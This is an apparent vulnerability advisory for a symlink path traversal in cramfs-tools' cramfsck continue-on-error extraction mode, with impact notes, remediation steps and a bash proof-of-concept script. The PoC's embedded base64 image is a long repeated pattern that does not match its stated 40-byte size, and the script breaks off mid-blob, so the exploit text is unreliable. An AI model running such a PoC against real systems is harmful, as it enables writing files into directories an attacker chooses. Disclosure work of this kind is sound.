cramfs-tools cramfsck Path Traversal via Pre-existing Symlink

crams-tools Vulnerability Summary Vulnerability Overview Title: cramfsck -c -x — Continue-on-Error Extraction Through Preexisting Root Symlink #13 Type: Path Traversal / Symbolic Link Hijacking (CWE-59) Description: In the "continue-on-error" mode ( ) of the tool, if the extraction directory already exists and is a symbolic link, the tool logs a failure but continues execution. This results in files being written through the symbolic link to an unintended target directory, rather than the intended extraction directory. Impact Scope Attack Scenario: Malicious repositories or firmware packages containing symbolic links pointing to attacker-controlled directories, alongside seemingly benign cramfs images. Consequences: - Files may be written to directories chosen by the attacker during "best-effort" extraction workflows. - Misleading extraction results are produced (errors are reported, but data is written elsewhere). - Increased risk when using mode to handle corrupted images during recovery or pipeline processing. Remediation 1. Treat extraction root directory creation failures as fatal errors, even if the target path already exists but is not a real directory. 2. In continue mode, distinguish between recoverable parsing errors and non-recoverable target state violations. 3. Reject symbolic links as extraction root directories using until recursive extraction begins. 4. Add regression tests for pre-existing symbolic link root directories in the mode. POC Code ```bash #!/usr/bin/env bash set -euo pipefail CRAMFSCK_BIN="${CRAMFSCK_BIN:-cramfsck}" CRAMFS_TOOLS_SRC="${CRAMFS_TOOLS_SRC:-.}" ensure_bin() { local bin="$1" if [[ "$bin" == "/" ]]; then [[ -x "$bin" ]] return fi command -v "$bin" >/dev/null 2>&1 } build_tools_if_needed() { if [[ ! -f "${CRAMFS_TOOLS_SRC}/" ]]; then return fi local build_dir="/tmp/ungfuzz_build_cramfs_tools" rm -rf "${build_dir}" mkdir -p "${build_dir}" cp -a "${CRAMFS_TOOLS_SRC}/." "${build_dir}/" make -C "${build_dir}" -j"$(nproc)" >/dev/null CRAMFSCK_BIN="${build_dir}/cramfsck" } if ! ensure_bin "${CRAMFSCK_BIN}"; then true fi if ! ensure_bin "${CRAMFSCK_BIN}"; then build_tools_if_needed fi if ! ensure_bin "${CRAMFSCK_BIN}"; then exit 1 fi base="/tmp/ungfuzz_cramfs_symlink" rm -rf "${base}" mkdir -p "${base}/outside" A tiny cramfs image (40B) containing one regular file: 'pwn.txt' with contents 'CRAMFS\n'. python3 - <<'PY' import base64 from pathlib import Path out = Path("/tmp/ungfuzz_cramfs_symlink/test.cramfs") data = """ RT3NAAQAAQAAAAAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAEAAAE

Goal Reached Thanks to every supporter — we hit 100%!

cramfs-tools cramfsck Path Traversal via Pre-existing Symlink

More from this source